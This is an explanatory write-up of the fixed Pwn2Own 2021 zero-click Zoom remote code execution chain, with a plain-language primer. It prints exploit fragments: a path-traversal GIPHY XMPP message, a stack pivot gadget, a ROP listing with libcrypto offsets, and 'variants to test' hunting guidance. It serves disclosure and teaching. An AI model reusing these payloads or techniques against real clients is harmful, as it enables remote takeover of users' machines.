This allowed leaking data from the start of the next block up to the first null byte in it. Conveniently, they had also found an interesting object to place there in the source of OpenSSL, libcrypto-1_1.dll to be specific. TLS1_PRF_PKEY_CTX is an object used during a TLS handshake to verify a MAC of the transcript during a handshake, to make sure an active attacker has not changed anything during the handshake. This struct starts with a pointer to another structure inside the same DLL, a static structure for a hashing function.
typedef struct {
/* Digest to use for PRF */
const EVP_MD *md;
/* Secret value to use for PRF */
unsigned char *sec;
size_t seclen;
/* Buffer of concatenated seed data */
unsigned char seed[TLS1_PRF_MAXBUF];
size_t seedlen;
} TLS1_PRF_PKEY_CTX;
There is one downside to this object: it is created, used and deallocated within one function call. But luckily, OpenSSL does not clear the full contents of the object, so the pointer at the start remains in the deallocated block:
static void pkey_tls1_prf_cleanup(EVP_PKEY_CTX *ctx)
{
TLS1_PRF_PKEY_CTX *kctx = ctx->data;
OPENSSL_clear_free(kctx->sec, kctx->seclen);
OPENSSL_cleanse(kctx->seed, kctx->seedlen);
OPENSSL_free(kctx);
}
This meant the pointer could be leaked, but to do so three objects had to be placed just right: the block to overflow, the query part of a URL for the initiated HTTPS request, and a deallocated TLS1_PRF_PKEY_CTX object, in the right order in a bucket. One common way of defeating heap randomisation in exploits is to allocate a lot of objects and try often, but it is not that simple here: enough objects and overflows are needed to have a chance of success, but not so many that no deallocated TLS1_PRF_PKEY_CTX objects remain. If too many queries were allocated, no TLS1_PRF_PKEY_CTX objects would be left. This was a difficult balance to hit.
They tried this a lot and it took days, but eventually they leaked the address once. Then, a few days later, it worked again. And then again the same day. Slowly they were finding the right balance of the number of objects, connections and overflows.
The @z\x15p (0x70157a40) here is the leaked address in libcrypto-1_1.dll:

One thing that greatly increased the chances of success was to use TLS renegotiation. The TLS1_PRF_PKEY_CTX object is created during a handshake, but setting up new connections takes time and does a lot of allocations that could disturb the heap bucket. They found that they could also set up a connection and use TLS renegotiation repeatedly, which meant the handshake was performed again but nothing else. OpenSSL supports renegotiation, and even renegotiating thousands of times without ever sending an HTTP response is entirely fine. They ended up creating 3 connections to a webserver that was doing nothing other than constantly renegotiating. This allowed them to create a constant stream of new deallocated TLS1_PRF_PKEY_CTX objects in the deallocated space in the bucket.
The info leak did however remain the most unstable part of the exploit. In the video of the exploit run, the longest delay is waiting for the info leak; Vincent from ZDI mentions when the info leak happens during the second attempt, and the rest of the exploit completes quite quickly after that.
Step 11: Control
The next step was to find an object where a vtable or function pointer could be overwritten. Again, a useful open source component turned up in a DLL. The file viper.dll contains a copy of the WebRTC library from around 2012. Initially, the researchers found that when a call invite is received, even if it is not answered, viper.dll creates 5 objects of 1064 bytes which all start with a vtable. By searching the WebRTC source code they found that these were FileWrapperImpl objects. These can be seen as adding a C++ API around FILE * pointers from C: methods for writing and reading data, automatic closing and flushing in the destructor, and so on.
class FileWrapperImpl : public FileWrapper {
public:
FileWrapperImpl();
~FileWrapperImpl() override;
int FileName(char* file_name_utf8, size_t size) const override;
bool Open() const override;
int OpenFile(const char* file_name_utf8,
bool read_only,
bool loop = false,
bool text = false) override;
int OpenFromFileHandle(FILE* handle,
bool manage_file,
bool read_only,
bool loop = false) override;
int CloseFile() override;
int SetMaxFileSize(size_t bytes) override;
int Flush() override;
int Read(void* buf, size_t length) override;
bool Write(const void* buf, size_t length) override;
int WriteText(const char* format, ...) override;
int Rewind() override;
private:
int CloseFileImpl();
int FlushImpl();
std::unique_ptr<RWLockWrapper> rw_lock_;
FILE* id_;
bool managed_file_handle_;
bool open_;
bool looping_;
bool read_only_;
size_t max_size_in_bytes_; // -1 indicates file size limitation is off
size_t size_in_bytes_;
char file_name_utf8_[kMaxFileNameSize];
};
There was one downside: these 5 objects were doing nothing. Overwriting their vtable in the debugger had no effect until Zoom was exited, and only then would the destructor call some vtable functions.
Code execution at exit was far from ideal. It would mean just one shot in each attempt: if the overwrite of a vtable failed, there would be no chance to try again. There was also no way to remotely trigger a clean exit, and even if there had been, the chance of exiting successfully was small. The information leak will have corrupted many objects and heap metadata in the previous phase. That may not have affected anything yet if those objects are unused, but an exit could crash in destructors or while freeing memory.
Based on the WebRTC source code, the researchers noticed that FileWrapperImpl objects are often used in classes related to audio playback. As it happens, the Windows VM Thijs was using at that time did not have an emulated sound card. There was no need for one, as the meeting functionality itself was not the target. Daan suggested adding one, because it could matter for these objects. Thijs was sceptical, but security involves trying a lot of things you don't expect to work, so he added one. After this, the creation of FileWrapperImpls had indeed changed significantly.
With an emulated sound card, new FileWrapperImpls were created and destroyed regularly while the call was ringing. Each loop of the jingle seemed to trigger a number of allocations and frees of these objects. The videos of the exploit have no sound: had they had it, you would have heard the ringing sound complete a couple of full loops at the moment the client exits and calc is started.
This meant there was a vtable pointer that could be overwritten quite reliably, but the question became what to write there.
Step 12: GIPHY time
The offset of libcrypto-1_1.dll was known from the information leak, but the exploit also needed an address of data under the attacker's control: overwriting a vtable pointer only helps if it points to an area containing one or more function pointers. ASLR means the location of heap allocations is not known in advance. To deal with this, the researchers used GIFs.
To send an out-of-meeting message in Zoom, the receiving user has to have previously accepted a connect request or be in a multi-user chat with the attacker. If a user can send a message with an image to another user in Zoom, that image is downloaded and shown automatically if it is below a few megabytes. If it is larger, the user needs to click on it to download it.
In the Zoom chat client it is also possible to send GIFs from GIPHY. For these images the file size restriction is not applied and the files are always downloaded and shown. User uploads and GIPHY files are both downloaded from the same domain, but using different paths. By sending an XMPP message for sending a GIPHY, but using path traversal to point it to a user uploaded GIF file instead, the researchers found they could allow the downloading of arbitrary sized GIF files. If the file is a valid GIF file, it is loaded into memory. If the same link is sent again, it is not downloaded twice, but a new copy is allocated in memory. This is the second low impact vulnerability used in the attack, and it is also fixed according to the Zoom Security Bulletin.
A normal GIPHY message:
<message xmlns="jabber:client" to="[redacted]" id="{62BFB8B6-9572-455C-B440-98F532517177}" type="chat" from="[redacted]/ZoomChat_pc">
<body>John Doe sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>
<thread>gloox{F1FFE4F0-381E-472B-813B-55D766B87742}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<sns>
<format>%1$@ sent you an image</format>
<args>
<arg>John Doe</arg>
</args>
</sns>
<zmext>
<msg_type>12</msg_type>
<from n="John Doe" res="ZoomChat_pc"/>
<to/>
<visible>true</visible>
<msg_feature>16384</msg_feature>
</zmext>
<giphyv2 id="YQitE4YNQNahy" url="https://giphy.com/gifs/YQitE4YNQNahy" tags="hacker">
<pcInfo url="https://file.zoom.us/external/link/issue?id=1::HYlQuJmVbpLCRH1UrxGcLA::aatxNv43wlLYPmeAHSEJ4w::7ZOfQeOxWkdqbfz-Dx-zzununK0e5u80ifybTdCJ-[redacted]-u7TZG3oLIT8BZgzYvfQS-[redacted]" size="1456787"/>
<mobileInfo url="https://file.zoom.us/external/link/issue?id=1::0ZmI3n09cbxxQtPKqWbv1g::AmSzU9Wrsp617D6cX05tMg::[redacted]-6WQUBxBOIpyMVJ2itJ-wc6tmOJBUo9-oCHHdi43Dk" size="549356"/>
<bigPicInfo url="https://file.zoom.us/external/link/issue?id=1::hA-lI2ZGxBzgJczWbR4yPQ::ZxQquub32hKf5Tle_fRKGQ::[redacted]-6mAaU7Cm0TiPQnALOnk1-[redacted] 1aWl62KifvJ_LDECBM1" size="4322534"/>
</giphyv2>
</message>
A GIPHY message with a manipulated path (only the bigPicInfo URL is relevant):
<message xmlns="jabber:client" to="[redacted]" id="{62BFB8B6-9572-455C-B440-98F532517177}" type="chat" from="[redacted]/ZoomChat_pc">
<body>John Doe sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>
<thread>gloox{F1FFE4F0-381E-472B-813B-55D766B87742}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<sns>
<format>%1$@ sent you an image</format>
<args>
<arg>John Doe</arg>
</args>
</sns>
<zmext>
<msg_type>12</msg_type>
<from n="John Doe" res="ZoomChat_pc"/>
<to/>
<visible>true</visible>
<msg_feature>16384</msg_feature>
</zmext>
<giphyv2 id="YQitE4YNQNahy" url="https://giphy.com/gifs/YQitE4YNQNahy" tags="hacker">
<pcInfo url="https://file.zoom.us/external/link/issue?id=1::HYlQuJmVbpLCRH1UrxGcLA::aatxNv43wlLYPmeAHSEJ4w::7ZOfQeOxWkdqbfz-Dx-zzununK0e5u80ifybTdCJ-[redacted]-u7TZG3oLIT8BZgzYvfQS-[redacted]" size="1456787"/>
<mobileInfo url="https://file.zoom.us/external/link/issue?id=1::0ZmI3n09cbxxQtPKqWbv1g::AmSzU9Wrsp617D6cX05tMg::[redacted]-6WQUBxBOIpyMVJ2itJ-wc6tmOJBUo9-oCHHdi43Dk" size="549356"/>
<bigPicInfo url="https://file.zoom.us/external/link/issue/../../../file/[file_id]" size="4322534"/>
</giphyv2>
</message>
The bigPicInfo URL in the second message uses path traversal to point to a user uploaded GIF file instead of a GIPHY image. Because the GIPHY path skips the size restriction, that file can be arbitrarily large, and because it is a valid GIF it is loaded into memory. Sending the same link again does not download it a second time but allocates another copy in memory, which is what makes it possible to fill memory with repeated copies of the same content.
The plan was to create a 25 MB GIF file and allocate it multiple times to create a specific address where the data the exploit needed would be placed. Large allocations of this size are randomised when ASLR is used, but these allocations are still page aligned. Because the data to be placed was much less than one page, one page of data could be created and repeated. That page started with a minimal GIF file, which was enough for the entire file to be considered a valid GIF file. Because Zoom is a 32-bit application, the possible address space is very small. If enough copies of the GIF file are loaded in memory, say around 512 MB, then a specific address can be "guessed" quite reliably to fall inside a GIF file. Due to the page alignment of these large allocations, offsets from the page boundary can then be used to locate the data the exploit wants to refer to.
Step 13: Pivot into ROP
With the leaked libcrypto-1_1.dll address and a predictable address inside the GIF data, the exploit had everything needed to call an address in libcrypto-1_1.dll. Gaining arbitrary code execution would probably require calling multiple functions, which for stack buffer overflows in modern software is commonly achieved with return-oriented programming: return addresses placed on the stack call functions or perform specific register operations, so multiple functions can be called sequentially with control over the arguments.
This was a heap buffer overflow, so the stack was not under control yet. The technique used is a stack pivot: the address of the stack pointer is replaced with a pointer to data the exploit controls. The researchers found the following sequence of instructions in libcrypto-1_1.dll:
push edi; # points to vtable pointer (memory we control)
pop esp; # now the stack pointer points to memory under our control
pop edi; # pop some extra registers
pop esi;
pop ebx;
pop ebp;
ret
This sequence is misaligned and normally does something else, but here it copies an address to data the exploit overwrote (in edi) into the stack pointer. The stack is thereby replaced with data written by the buffer overflow.
From the ROP chain the goal was to call VirtualProtect to enable the execute bit for the shellcode. However, libcrypto-1_1.dll does not import VirtualProtect, so its address was not available yet, and raw system calls from 32-bit Windows applications are, apparently, difficult. The ROP chain therefore does the following:
- Call
GetModuleHandleWto get the base address ofkernel32.dll. - Call
GetProcAddressto get the address ofVirtualProtectfromkernel32.dll. - Call that address to make the GIF data executable.
- Jump to the shellcode offset in the GIF.
In the following animation, you can see how the vtable is overwritten, and then when Close is called the stack is pivoted to the buffer overflow. Due to the extra pop instructions in the stack pivot gadget, some unused values are popped. Then the ROP chain starts by calling GetModuleHandleW with as argument the string "kernel32.dll" from the GIF file. Finally, when returning from that function a gadget is called that places the result value into ebx. The calling convention in use here means the argument is passed via the stack, before the return address.
In the exploit this results in the following ROP stack, where crypto_base points to the load address of libcrypto-1_1.dll leaked earlier:
# push edi; pop esp; pop edi; pop esi; pop ebx; pop ebp; ret
STACK_PIVOT = crypto_base + 0x441e9
GIF_BASE = 0x462bc020
VTABLE = GIF_BASE + 0x1c # Start of the correct vtable
SHELLCODE = GIF_BASE + 0x7fd # Location of our shellcode
KERNEL32_STR = GIF_BASE + 0x6c # Location of UTF-16 Kernel32.dll string
VIRTUALPROTECT_STR = GIF_BASE + 0x86 # Location of VirtualProtect string
KNOWN_MAPPED = 0x2fe451e4
JMP_GETMODULEHANDLEW = crypto_base + 0x1c5c36 # jmp GetModuleHandleW
JMP_GETPROCADDRESS = crypto_base + 0x1c5c3c # jmp GetProcAddress
RET = crypto_base + 0xdc28 # ret
POP_RET = crypto_base + 0xdc27 # pop ebp; ret
ADD_ESP_24 = crypto_base + 0x6c42e # add esp, 0x18; ret
PUSH_EAX_STACK = crypto_base + 0xdbaa9 # mov dword ptr [esp + 0x1c], eax; call ebx
POP_EBX = crypto_base + 0x16cfc # pop ebx; ret
JMP_EAX = crypto_base + 0x23370 # jmp eax
rop_stack = [
VTABLE, # pop edi
GIF_BASE + 0x101f4, # pop esi
GIF_BASE + 0x101f4, # pop ebx
KNOWN_MAPPED
The listing defines the pivot gadget at crypto_base + 0x441e9, the GIF base 0x462bc020, and offsets inside the GIF for the vtable, the shellcode, the UTF-16 Kernel32.dll string and the VirtualProtect string. The gadgets that jump to GetModuleHandleW and GetProcAddress are taken from libcrypto-1_1.dll, as are the small helpers that return, pop ebp, adjust esp by 0x18, store eax on the stack and call ebx, pop ebx, and jump to eax. The start of the rop_stack list lays out the values consumed by the pivot gadget: the vtable address lands in edi, two GIF addresses are popped into esi and ebx, and KNOWN_MAPPED is the next value on the pivoted stack.
Root cause
The defect is a single missing check. When a ResponseKey message is handled, the client allocates a std::string of a fixed 1024 bytes for the decrypted result. On the RSA path, the code validates that the decryption result fits in that buffer before writing to it. On the AES path, that validation is absent, so the output of the AES decryption is written into the 1024 byte buffer regardless of its length. The AESDecode snippet shows the shape of the mistake: param_1[3], the output buffer length, is only ever written with the resulting length, never read first, and the actual allocation happens a few steps earlier. Nothing between the allocation and EVP_CipherUpdate compares the incoming ciphertext length against the size of the destination.
The attacker controls the ciphertext length, because the <encoded> element of a ResponseKey message is attacker-supplied. The only constraint on the overflow size is the AES block size: the length must be a multiple of 16 bytes, and padding at the end does not help, since the data up to a full block is still written before the padding is removed. The allocation itself is fixed at 1040 bytes, the 1024 byte std::string plus up to 16 extra bytes for the backing buffer on Windows.
The existing defences did not stop the chain, for reasons specific to how Zoom was built:
- ASLR was applied correctly, but Zoom is a 32-bit application, so the range of possible addresses for DLLs and for the heap is small. That made both the information leak and the GIF-based address guessing practical.
- DEP was applied correctly, so no page was both writable and executable. The chain dealt with this by calling
VirtualProtectthrough the ROP chain to make the GIF data executable. - CFG was the weak point. The 2 OpenSSL DLLs did not have CFG enabled because of an incompatibility in OpenSSL. A DLL without CFG does not insert
guard_check_icallbefore its own dynamic calls, and, more importantly, calls from a CFG-enabled library into that DLL are always allowed, because the list of valid function start addresses is not present for it. Every address in the range of those DLLs therefore passed the check, which is what made a vtable overwrite pointing intolibcrypto-1_1.dllviable.
The heap allocator added its own obstacles rather than protections: the LFH randomises which free slot is returned, and the 8 byte heap headers are XOR-encoded with a random key as a measure against overflows corrupting heap metadata. The exploit worked around the randomisation by filling buckets and freeing all but the last block.
Impact
The overflow is reachable without any interaction from the victim. The attacker sends a few chat messages, the last of which is a ResponseKey message carrying an AES-encrypted <encoded> element larger than 1024 bytes, and the victim's client overflows the heap buffer while handling it. The overflow triggers automatically by sending a few chat messages to a user who has previously accepted an external contact request or is currently in the same multi-user chat.
The chain built on top of the overflow ends in arbitrary code execution in the context of the Zoom client. The demonstration at Pwn2Own 2021 was a zero-click remote code execution exploit: no clicks were used in the demo. A full run of the exploit, now fixed, is shown in the video at the top of this write-up.
Two additional, low impact bugs were used as building blocks, and both are fixed according to the Zoom Security Bulletin:
- The image URL concatenation. The
pic_relative_urlattribute of the bot-add stanza is appended to"https://marketplacecontent.zoom.us"without a/in between, and the result is not restricted to subdomains of zoom.us. On its own, this could be used to obtain the external IP address of another user if they are signed in to Zoom, even when the attacker is not a contact. In the exploit it gave the researchers a direct HTTPS connection to a server they control, which they needed because the XMPP connection goes through the server and would not carry the binary data they wanted to leak. - The GIPHY download path traversal. A GIPHY message whose
bigPicInfoURL uses../../../to point into the user-uploaded file path causes the client to download an arbitrarily large file, because the GIPHY path skips the size restriction that applies to ordinary image messages. If the file is a valid GIF it is loaded into memory, and sending the same link again allocates another copy. In the exploit this provided the attacker-controlled, page-aligned memory that the vtable pointer and ROP chain refer to.
The work was done for Pwn2Own Vancouver 2021, in the Enterprise Communications category that featured Microsoft Teams and the Zoom Meetings client. The researchers demonstrated the exploit at Pwn2Own 2021, with 10 seconds left of their second attempt, as the ZDI announcement quoted in the write-up describes.
Fix
It states that the related bugs have been fixed for all users and points to two references: ZDI-21-971, the Zero Day Initiative advisory, and ZSB-22003, the Zoom security bulletin. The write-up was published after those fixes were in place, so the bugs could safely be detailed.
What the report does say about the state of the fixes is limited to the three bugs used in the chain:
- The AES decryption overflow. Fixed, as part of the set of related bugs covered by the two references.
- The image URL concatenation. The report calls it one of two additional, low impact bugs used for the attack and states that it is "also currently fixed according to the Zoom Security Bulletin".
- The GIPHY download path traversal. The report calls this the second low impact vulnerability used and states that it is "also fixed according to the Zoom Security Bulletin".
It also does not say whether the fix changed the legacy version 1 handling of Advanced chat encryption as a whole, for example by dropping support for it, or only added the missing length validation on the AES path. The report does say that the RSA path already validated the decryption result against the 1024 byte buffer while the AES path did not.
Variants to test
The chain in this report is built from a handful of reusable primitives. Each one can be looked for on other targets, and each has a fairly clear signal when it is present.
-
Other OpenSSL call sites with mismatched buffer sizes. The base64 snippet allocated four times the input for
EVP_DecodeBlock, which was harmless on its own but showed that size arithmetic around OpenSSL calls was not reliable. On another target, look for every place where astd::stringor similar object is converted to a C pointer plus a separate length and handed to an OpenSSL function. A positive result is an allocation whose size is computed differently from the length that is later passed to the OpenSSL function, in either direction: too small is the exploitable case, too large is the signal that the arithmetic is being done by hand. -
Other fixed-size decryption buffers. The bug here is a
std::stringof a fixed 1024 bytes used for a decryption result, with a length check on one algorithm path and none on the other. On another target, find every fixed-size buffer that receives decrypted output and check each algorithm branch separately. A positive result is a branch where the output length is written to the length variable but never compared against the destination size before the write, exactly as inAESDecode, whereparam_1[3]is only stored to and never read first. -
Other URL concatenation without a slash. The
pic_relative_urlvalue was appended to"https://marketplacecontent.zoom.us"with no separating/, and the result was not restricted to subdomains of zoom.us. On another target, look for any attribute or parameter that is described as relative and is prepended to a base URL. A positive result is a request that leaves the intended domain, as in the example where the concatenation producedhttps://marketplacecontent.zoom.usexample.org/.... Even without the rest of an exploit chain, this is worth reporting on its own: here it allowed obtaining the external IP address of a signed-in user who was not a contact. -
Other download size restriction bypasses. Ordinary image messages were only downloaded automatically below a few megabytes, while GIPHY images skipped the restriction entirely, and a path traversal from the GIPHY path into the user-uploaded file path let an arbitrary sized file through. On another target, compare the size limits applied by each download path that shares a domain. A positive result is a path that fetches a file larger than the limit applied to the equivalent user-supplied content, especially when the same link can be sent repeatedly to allocate another copy in memory without a second download.
-
Other libraries without CFG. The 2 OpenSSL DLLs had CFG disabled because of an incompatibility in OpenSSL, which meant calls into their address range were always allowed. On another Windows target, enumerate the loaded modules and check which ones lack CFG. A positive result is a bundled third-party DLL without CFG whose address range can be reached by an overwritten vtable or function pointer, since any address in that range passes the check.
-
Other objects with a vtable in the target size range. The
FileWrapperImplobjects of 1064 bytes were useful because they fell in the same LFH bucket as the 1040 byte overflow allocation and their vtable was called during normal operation. On another target, list objects in the bucket range of the overflow and check which of them have a vtable or function pointer that is invoked without user interaction. A positive result is an object whose vtable method fires while the application is doing something the attacker can trigger remotely, rather than only at exit. -
Other objects that leave a pointer behind after being freed.
TLS1_PRF_PKEY_CTXwas created, used and freed within one function call, but its cleanup did not clear the pointer at the start of the struct, so the pointer survived in the freed block. On another target, look for cleanup functions that free a struct without cleansing all of it. A positive result is a freed block whose first bytes still contain a pointer into a module, which can then be leaked through an overwritten string terminator. -
Other protocols with a legacy version still accepted. Version 1 of Advanced chat encryption was still handled by clients that default to version 2, and the vulnerable code lived on that legacy path. On another target, look for version negotiation where an old version is still parsed. A positive result is an old-format message that reaches code which has not kept pace with the checks added to the current format.
Hunting notes
The bug at the centre of this chain is in legacy protocol handling. Advanced chat encryption version 1 is not the default, but clients that default to version 2 still parse it, and that older path is where the fixed 1024 byte buffer and the missing AES length check lived.
The recon signals that made this research tractable are worth looking for on any desktop client:
- SDK builds with logging. The shipped client DLLs had logging disabled at compile time, which made static analysis of the vtable-heavy code almost impossible. The SDK, which integrates the same meeting functionality into other applications, ships many of the same libraries with logging present. If a target offers an SDK, download it and compare its DLLs with the client's. Log strings reveal file names, function names and the checks being performed, and they turn a wall of vtable calls into something readable. The disassembled logging example in this report, with its full source path
c:\\ZoomCode\\client_sdk_2019_kof\\..., is exactly the kind of artefact to look for. - Bundled open source libraries.
zWebService.dllcontained a copy of libcurl,viper.dllcontained a WebRTC library from around 2012, and the OpenSSL DLLs were present as separate modules. Each of these gave the researchers source code to compare against the binary, which was far more efficient than reconstructing C++ object layouts from a decompiler. When you identify a bundled library and its approximate version, you can read its source for objects of the right size, for cleanup functions that leave pointers behind, and for call sites where lengths are computed by hand. - CFG-disabled DLLs. The 2 OpenSSL DLLs lacked CFG because of an incompatibility in OpenSSL. Enumerating loaded modules and checking which ones have CFG is a quick step that can turn an otherwise blocked vtable overwrite into a viable one, since any address in the range of a CFG-disabled DLL passes the check when called from a CFG-enabled library.
- Allocator behaviour at startup. The researchers found that in a clean state all sizes up to around 700 bytes, and many common sizes above that, were already handled by the LFH, which ruled out the OpenSSL objects they first identified. Knowing which allocator handles which size before you start grooming is useful. Frida scripts for tracking allocations, printing the freelist and checking LFH status were what made this practical; WinDBG could do the same but was too slow.
- Features that fetch attacker-supplied URLs. The image download path and the GIPHY path caused the client to make requests based on data from another user. Any feature that downloads an image, a file or a link on receipt is worth mapping: where the URL comes from, how it is concatenated, what size limits apply, and whether the same link can be sent repeatedly to allocate another copy in memory.
They entered Pwn2Own, where the demonstration itself is the proof: a zero-click exploit run live with 10 seconds left of their second attempt.
What happened, in plain words
On 7 April 2021, two security researchers, Thijs Alkemade and Daan Keuper, showed a live audience that they could take over another person's Zoom application without that person doing anything at all. No click, no download, no warning. They did this at a contest called Pwn2Own, where security researchers demonstrate attacks on real products in front of judges, and the software vendors watch and then fix what was broken.
The attack worked through Zoom's chat feature. If the attacker could send chat messages to you, the attacker could send a specially crafted message that made your Zoom client run the attacker's code. In the demonstration, the proof that it worked was that the calculator program opened. Opening a calculator is harmless, but the same technique could have run anything.
The bugs involved have since been fixed for all users. The report points to two public references for the fixes: ZDI-21-971, an advisory from the Zero Day Initiative (the organisation that runs Pwn2Own), and ZSB-22003, a security bulletin from Zoom. The researchers published their full explanation after the fixes were in place.

This article walks through that explanation from the beginning, for someone who has never studied security. It follows the researchers' own order: first understanding what Zoom is and how it talks to other computers, then learning to read the program without its source code, then finding the bug, then building the attack around it. Every request and every piece of code shown here is copied exactly from the researchers' write-up, and each one is explained in plain words afterwards.
A few words will come up constantly, so here they are at the start.
- Vulnerability: a mistake in a program that lets someone make it behave in a way its authors did not intend. A house with a window that does not lock properly has a vulnerability; the mistake is small, but it lets someone in.
- Exploit: the set of actions that turns a vulnerability into a real effect, such as running your own program on someone else's computer. The vulnerability is the unlocked window; the exploit is the ladder, the timing and the plan for climbing through it.
- Remote code execution (RCE): the strongest kind of exploit, where the attacker gets their own code running on the victim's machine over a network. "Remote" means the attacker is not sitting at that machine.
- Zero-click: the victim does not have to click, open or approve anything. The attack happens as soon as the message arrives. This is much more dangerous than an attack that needs a click, because there is no moment where a careful person could notice something odd and stop.
- Memory corruption: a family of bugs where a program writes data into the wrong part of its memory, or writes more data than a space was meant to hold. Memory is where a program keeps its working data, so writing in the wrong place can change what the program does next. Most of this article is about one such bug.
- Heap: the part of a program's memory that it uses for data whose size is only known while the program is running, such as a message that just arrived. Think of it as a large shared warehouse where the program rents shelves of different sizes as needed.
- Buffer: one rented shelf in that warehouse, a fixed-size space holding some data. A buffer overflow is writing more data into a buffer than it can hold, so the extra spills into whatever sits next to it.
The chain the researchers built has four big pieces, and the rest of this article takes them one at a time:
- Find a bug in how Zoom's chat handles an old encryption format. A message could make Zoom write more decrypted data into a fixed-size buffer than the buffer could hold.
- Learn the warehouse. Windows hands out memory in a specific way, and to place the overflowing data next to something worth overwriting, the researchers had to understand that system in detail.
- Leak an address. Modern systems deliberately load programs at random addresses so an attacker cannot know where anything is. The researchers found a way to make Zoom reveal one address, which defeats that protection.
- Take control. They overwrote a pointer that Zoom later uses to decide which function to call, pointed it at data they had placed in memory, and used a technique called return-oriented programming to run their own code.
The video below is a full run of the exploit, now fixed. The rest of the article explains every step that took place during that run and how the researchers arrived at it.
One more piece of context matters for understanding why this target was chosen. Pwn2Own's Vancouver edition in spring had in recent years focused on browsers, local privilege escalation and virtual machines. Those categories have received enormous security attention and are full of defensive layers. On 27 January 2021, Pwn2Own was announced with a new category called "Enterprise Communications", featuring Microsoft Teams and the Zoom Meetings client. These tools had become incredibly important because of the pandemic, so adding them made sense. The researchers realised either would be a much better target for them, because most researchers would have to start from scratch.
They had not yet decided between Zoom and Teams. They made a guess about what kind of vulnerability each would most likely have. Microsoft Teams is built with Electron, a framework that runs applications written in HTML and JavaScript inside a Chromium browser engine, with a few native libraries in C++ mainly for platform integration. The most likely path for exploitation there would be a cross-site scripting issue, possibly combined with a sandbox escape; memory corruption was possible but the number of native libraries is small. Zoom is written in C++, so the most likely vulnerability class would be memory corruption. Without good data on which was more likely, they chose Zoom simply because they like doing research on memory corruption more than on cross-site scripting.
That choice explains the shape of everything that follows. The rest of this article is about finding and exploiting a memory corruption bug in a C++ desktop application, starting from the researchers' position of having profound experience with memory corruption on many platforms but zero experience doing it on Windows.
The target: what Zoom is and how it talks
Before any bug hunting, the researchers had to learn the product. Neither of them had used Zoom much, if at all. So their very first step was to go through the application thoroughly, focused on one question: in how many ways can you send something to another user? That was the vector they wanted for the attack, and the answer turned out to be quite a list.
The desktop client, chat and meetings
The Zoom desktop client is a program you install on your computer. It does two broad things. The first is meetings: live audio and video calls with other people, with screen sharing, in-meeting chat and file transfer alongside. The second is a chat client: a separate messaging feature, outside any meeting, where you can send text messages, send images, create group chats and more. Most users mainly know the video chat functionality, but the chat client is quite full featured.
A chat client is simply a program that sends short messages to other people's programs and shows the messages they send back. The important thing for security is that a chat client must accept data from other people. Every message that arrives is data written by someone else, and the program has to read it, understand it and display it. That is exactly the kind of situation where a mistake in reading data can be turned against the program.
The researchers made a few premium accounts, paid accounts, to make sure they saw as much as possible of the features. Advanced chat encryption is only available for paying users, and it is where the main bug lived. If they had only used free accounts, they might never have seen that code path at all. This is a small but important habit: to test a product properly, you need access to the parts of it that ordinary free use never touches.
The attack surface idea
Attack surface means all the places where data from outside can get into a program. Think of a house: the attack surface is every door, window, chimney and letterbox, not just the front door. A program that never talks to anything has almost no attack surface. A chat client that accepts messages, images, files, group invitations and meeting invites from other users has a large one.
The researchers' question, "in how many ways can you send something to another user?", is a way of mapping that surface. Each way is a candidate: a place where an attacker can deliver data that the victim's program will process. The bug they eventually found is reached through the chat message, and the two smaller bugs they used along the way are reached through a bot notification and a GIF download.
The protocols Zoom speaks
A protocol is an agreed set of rules for how two programs talk, like the etiquette of a phone call: who speaks first, what words are used, how a conversation ends. Zoom uses several at once, and the researchers had to learn which was which.
- HTTPS is the ordinary secure web protocol, the same one your browser uses when the address bar shows a padlock. A program sends a request to a server and gets a response back. Zoom uses a lot of HTTPS requests.
- JSON is a text format for structured data, made of names and values in curly braces, easy for both people and programs to read. Many of Zoom's HTTPS requests and responses carry JSON.
- Protobufs (protocol buffers) are another format for structured data, but a compact binary one rather than readable text. Some of Zoom's HTTPS traffic uses protobufs instead of JSON.
- XMPP is a protocol designed specifically for chat and presence, meaning who is online and available. It is an open standard, and many messaging systems use it. Zoom's chat connection itself uses XMPP.
- UDP is a simple way of sending small packets of data across a network without setting up a formal connection first. It is fast but does not guarantee delivery. Meetings appear to have a number of different options depending on what the network allows, and the main one is a custom UDP based protocol, meaning Zoom's own protocol carried over UDP.
Why does this matter? Because to send your own malicious traffic, you first have to know what the normal traffic looks like. You cannot craft a message that a program will accept unless you know the format it expects. That is the subject of the next section.
Why the researchers cared about every sending path
The goal was a vulnerability that one user can trigger against another user, remotely, without the victim doing anything unusual. That rules out bugs that only the victim can trigger on their own machine, and it rules out bugs that need the attacker to be sitting at the victim's computer. What remains is everything the victim's program accepts from the network on the attacker's behalf.
Mapping all of those paths first, before looking at any code, has two benefits. It tells you where to look in the program, and it tells you what the attacker is allowed to send. For example, if a feature only accepts messages from people already on your contact list, then any bug in that feature can only be triggered by someone you have accepted as a contact, or by someone in a group chat with you. That is a real restriction, and the researchers state it explicitly for the bug they found: the attacker must have previously been accepted as an external contact, or be in the same multi-user chat.
The list they built covered the chat client with its messages, images and group chats, and the in-meeting features with audio, video, chat, file sending and screen sharing. Each of those is a door into the program. The rest of this article follows them through the doors they chose.
Setting up to see the traffic
The next step was to get visibility in the network communication of the client. The researchers needed to see the contents of the communication in order to be able to send their own malicious traffic. This is a simple idea with a lot of machinery behind it: before you can write a message that a program will accept, you have to read the messages it already sends and receives, in full, including the parts a normal user never sees.
Think of it like learning a language by eavesdropping. If you only hear muffled voices through a wall, you cannot imitate them. You need to hear the actual words, the grammar and the tone. Network interception is the equivalent of putting a microphone in the room.
Why normal traffic is not enough
A program's network traffic is usually protected in two ways. First, it is often encrypted, scrambled so that anyone listening on the network sees only meaningless bytes. Second, it is often compressed or binary, so even after decryption it is not readable text. Both protections are there for good reasons: they stop criminals and snoopers from reading your messages. But they also stop a security researcher from understanding the protocol, and without understanding the protocol you cannot craft a valid malicious message.
The researchers needed to see the plain contents of Zoom's traffic in their own test environment, on their own machines, with their own accounts. That is a legitimate and standard part of security research: you are inspecting traffic you are generating yourself, between accounts you control.
The tools, one at a time
The report lists the combination they used: proxies, modified DNS records, sslsplit and a new CA certificate installed in Windows. Each of these does one job, and together they let the researchers see everything.
-
